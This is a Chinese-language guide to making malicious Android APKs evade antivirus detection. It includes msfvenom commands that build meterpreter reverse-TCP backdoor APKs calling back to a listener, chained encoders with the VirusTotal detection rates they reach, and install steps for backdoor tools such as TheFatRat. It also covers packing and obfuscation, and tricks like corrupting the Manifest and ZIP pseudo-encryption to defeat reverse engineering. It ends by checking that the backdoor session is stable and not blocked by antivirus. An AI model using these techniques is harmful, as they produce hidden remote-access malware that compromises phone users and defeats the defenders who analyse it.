Android免杀技术全面解析与实战指南<\/h1>

一、基础概念与工具准备<\/h2>

1.1 免杀技术概述<\/h3>

Android免杀技术是指通过各种手段使恶意APK文件能够绕过杀毒软件的检测机制。主要技术路线包括：<\/p>

编码混淆：使用多重编码改变特征码<\/li>
工具免杀：利用专门工具生成低特征样本<\/li>
源码级免杀：从代码层面进行定制化修改<\/li>
加壳保护：使用加固技术隐藏真实代码<\/li>

反编译对抗：阻碍逆向分析工具正常工作<\/li> <\/ul>

1.2 核心工具介绍<\/h3>

msfvenom<\/strong>：Metasploit框架的payload生成工具<\/li>
TheFatRat<\/strong>：多功能后门生成工具<\/li>
Backdoor-apk<\/strong>：专门用于APK后门植入的工具<\/li>
Venom<\/strong>：多平台payload生成框架<\/li>
360加固助手\/Bangcle<\/strong>：APK加壳保护工具<\/li>

apktool<\/strong>：APK反编译\/回编译工具<\/li> <\/ul>
二、msfvenom基础免杀技术<\/h2>
2.1 基本payload生成<\/h3>
msfvenom -p android\/meterpreter\/reverse_tcp LHOST=<\/span>10.10.10.1 LPORT=<\/span>10008<\/span> -o black.apk <\/span><\/span><\/code><\/pre>初次生成样本在VT(VirusTotal)检测率约为26\/64<\/p> 2.2 编码技术应用<\/h3> 查看可用编码器：<\/p> msfvenom --list encoders <\/span><\/span><\/code><\/pre>推荐使用的编码器：<\/p> x86\/shikata_ga_nai<\/li> x86\/call4_dword_xor<\/li> x86\/countdown<\/li> <\/ul> 单次编码示例：<\/p> msfvenom --platform Android -p android\/meterpreter\/reverse_tcp LHOST=<\/span>10.10.10.1 LPORT=<\/span>10008<\/span> -e x86\/shikata_ga_nai -o black_1.apk <\/span><\/span><\/code><\/pre>检测率降至9\/59<\/p> 多重编码示例：<\/p> msfvenom --platform Android -p android\/meterpreter\/reverse_tcp LHOST=<\/span>10.10.10.1 LPORT=<\/span>10008<\/span> -a dalvik \ <\/span><\/span><\/span><\/span>--encoder x86\/call4_dword_xor --iterations 5<\/span> \ <\/span><\/span><\/span><\/span>--encoder x86\/countdown --iterations 4<\/span> \ <\/span><\/span><\/span><\/span>--encoder x86\/shikata_ga_nai --iterations 3<\/span> -o encoded.apk <\/span><\/span><\/code><\/pre>注意：过度编码可能导致特征增加<\/p> 三、工具免杀技术详解<\/h2> 3.1 TheFatRat使用<\/h3> 安装：<\/p> git clone https:\/\/github.com\/Screetsec\/TheFatRat.git <\/span><\/span>cd TheFatRat <\/span><\/span>chmod +x setup.sh &&<\/span> .\/setup.sh <\/span><\/span>sudo .\/fatrat <\/span><\/span><\/code><\/pre>提供三种APK后门方式：<\/p> Backdoor-apk方法<\/li> 旧版Fatrat方法<\/li> MsfVenom嵌入式方法<\/li> <\/ol> 3.2 Backdoor-apk使用<\/h3> 项目地址：https:\/\/github.com\/dana-at-cp\/backdoor-apk 常见问题：<\/p> 加壳APK可能导致失败<\/li> 签名验证可能导致问题<\/li> 生成文件位于backdoor-apk\/backdoor-apkoriginal\/dist\/<\/li> <\/ul> 3.3 Venom框架使用<\/h3> 项目地址：https:\/\/github.com\/r00t-3xp10it\/venom 选择Android agents生成后门，文件位于\/venom\/output<\/p> 四、源码级免杀技术<\/h2> 4.1 代码混淆技术<\/h3> 关键点：<\/p> 修改方法名、变量名为无意义字符串<\/li> 删除无用代码和注释<\/li> 改变代码结构但不影响功能<\/li> 全局变量和局部变量位置交换<\/li> <\/ul> 示例：原始代码：<\/p> private<\/span> static<\/span> String getJarPath<\/span>(<\/span>String path){<\/span> <\/span><\/span> String filePath =<\/span> path +<\/span> File.<\/span>separatorChar<\/span> +<\/span> Integer.<\/span>toString<\/span>(<\/span>new<\/span> Random().<\/span>nextInt<\/span>(<\/span>Integer.<\/span>MAX_VALUE<\/span>),<\/span> 36<\/span>);<\/span> <\/span><\/span> return<\/span> filePath +<\/span> ".jar"<\/span>;<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>混淆后：<\/p> private<\/span> static<\/span> String a<\/span>(<\/span>String b){<\/span> <\/span><\/span> String randomNum =<\/span> Integer.<\/span>toString<\/span>(<\/span>new<\/span> Random().<\/span>nextInt<\/span>(<\/span>Integer.<\/span>MAX_VALUE<\/span>),<\/span> 36<\/span>);<\/span> <\/span><\/span> String c =<\/span> b +<\/span> File.<\/span>separatorChar<\/span> +<\/span> randomNum;<\/span> <\/span><\/span> return<\/span> c +<\/span> ".jar"<\/span>;<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>4.2 配置参数修改<\/h3> 重要参数调整：<\/p> minSdkVersion：避免使用常见木马版本(如28)<\/li> buildToolsVersion：使用非典型版本<\/li> 依赖库版本：避免与已知恶意样本相同<\/li> <\/ul> 4.3 权限管理策略<\/h3> 高风险权限组合：<\/p> <uses-permission<\/span> android:name=<\/span>"android.permission.SEND_SMS"<\/span>\/><\/span> <\/span><\/span><uses-permission<\/span> android:name=<\/span>"android.permission.WAKE_LOCK"<\/span>\/><\/span> <\/span><\/span><uses-permission<\/span> android:name=<\/span>"android.permission.RECEIVE_BOOT_COMPLETED"<\/span>\/><\/span> <\/span><\/span><\/code><\/pre>保留最小必要权限，仅保留：<\/p> <uses-permission<\/span> android:name=<\/span>"android.permission.INTERNET"<\/span>\/><\/span> <\/span><\/span><\/code><\/pre>五、加壳与加固技术<\/h2> 5.1 常用加固工具<\/h3> 360加固助手：https:\/\/jiagu.360.cn\/<\/li> Bangcle加壳工具：https:\/\/github.com\/woxihuannisja\/Bangcle<\/li> <\/ul> java -jar Bangcle.jar b black_1.apk <\/span><\/span><\/code><\/pre>5.2 加固注意事项<\/h3> 免费版加固可能引入特征<\/li> 不同加固工具检测率不同<\/li> 加固后需测试功能完整性<\/li> <\/ul> 六、反编译对抗技术<\/h2> 6.1 AndroidManifest.xml幻数修改<\/h3> 原始幻数：0x00080003 修改后会导致：<\/p> 低版本apktool反编译失败<\/li> GDA等工具无法解析Manifest<\/li> 但APK仍可正常安装运行<\/li> <\/ul> 6.2 stringPoolSize陷阱<\/h3> 修改stringCount字段使其与实际不符：<\/p> 原始值：68<\/li> 修改为：69 导致最新apktool也无法解析<\/li> <\/ul> 6.3 ZIP伪加密<\/h3> 使用ZipCenOp.jar工具：<\/p> 对Android 4.2.x以下系统有效<\/li> 高版本Android会拒绝安装<\/li> <\/ul> 七、实战检测与验证<\/h2> 7.1 检测流程<\/h3> 生成样本后上传VT检测<\/li> 使用多款手机杀软测试<\/li> 验证功能完整性<\/li> 监控网络连接情况<\/li> <\/ol> 7.2 上线验证<\/h3> 检查项目：<\/p> PID是否匹配<\/li> 会话是否稳定<\/li> 杀软是否拦截<\/li> 功能是否完整<\/li> <\/ul> 八、参考资源<\/h2> TheFatRat使用指南：https:\/\/misakikata.github.io\/2018\/09\/关于Thefatrat免杀使用\/<\/li> AndroidManifest解析：https:\/\/bbs.kanxue.com\/thread-272045.htm<\/li> 加固技术分析：https:\/\/www.liansecurity.com\/#\/main\/news\/IPONQIoBE2npFSfFbCRf\/detail<\/li> Smali代码修改：https:\/\/xz.aliyun.com\/t\/2967<\/li> <\/ol> 九、总结与进阶<\/h2> 免杀是持续对抗过程，特征会不断更新<\/li> 组合使用多种技术效果更佳<\/li> 关注杀软最新检测机制变化<\/li> 合法研究，遵守法律法规<\/li> <\/ul> 通过本指南系统学习后，应能够：<\/p> 理解Android免杀核心原理<\/li> 熟练使用各类免杀工具<\/li> 实施源码级深度免杀<\/li> 有效对抗反编译分析<\/li> 全面验证免杀效果<\/li> <\/ol>